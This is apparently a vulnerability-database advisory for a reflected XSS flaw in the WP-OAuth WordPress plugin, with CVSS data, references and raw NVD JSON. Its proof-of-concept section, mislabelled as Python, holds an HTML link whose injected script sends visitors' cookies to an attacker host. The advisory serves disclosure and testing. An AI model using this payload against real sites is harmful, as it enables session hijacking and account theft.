CVE-2025-12021

Description

The WP-OAuth plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'error_description' parameter in all versions up to, and including, 0.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link.

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP-OAuth <= 0.4.1 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12021 PoC: WP-OAuth Plugin Reflected XSS -->
<!-- Target: WordPress site with WP-OAuth plugin <= 0.4.1 -->
<!-- Attack Vector: error_description parameter in OAuth error handling -->

<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12021 PoC</title>
</head>
<body>
    <h2>CVE-2025-12021 - WP-OAuth Reflected XSS PoC</h2>
    <p>Click the link below to test the vulnerability:</p>
    
    <!-- Malicious URL that triggers the XSS via error_description parameter -->
    <a href="http://target-wordpress-site.com/wp-login.php?redirect_to=/wp-admin/&error=access_denied&error_description=<script>alert('XSS Vulnerability - CVE-2025-12021');document.location='http://attacker-server/log.php?c='+document.cookie</script>" target="_blank">Malicious OAuth Link</a>
    
    <p>Or construct the URL manually:</p>
    <pre>
    [Target-URL]/wp-login.php?redirect_to=/wp-admin/
    &error=access_denied
    &error_description=<script>alert(document.cookie)</script>
    </pre>
    
    <script>
        // Log stolen cookies
        console.log('PoC for CVE-2025-12021');
        console.log('Steal cookies via error_description parameter');
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12021
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12021
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12021/
[4] VulDB https://vuldb.com/cve/CVE-2025-12021
[5] https://plugins.trac.wordpress.org/browser/wp-oauth/tags/0.4.1/login-google.php#L42
[6] https://plugins.trac.wordpress.org/browser/wp-oauth/tags/0.4.1/wp-oauth.php#L430
[7] https://plugins.trac.wordpress.org/browser/wp-oauth/tags/0.4.1/wp-oauth.php#L545
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/72702870-8a1a-446b-8f9f-bd435e9257f2?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12021", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:46.140", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP-OAuth plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the 'error_description' parameter in all versions up to, and including, 0.4.1 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-oauth/tags/0.4.1/login-google.php#L42", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-oauth/tags/0.4.1/wp-oauth.php#L430", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-oauth/tags/0.4.1/wp-oauth.php#L545", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/72702870-8a1a-446b-8f9f-bd435e9257f2?source=cve", "source": "[email protected]"}]}}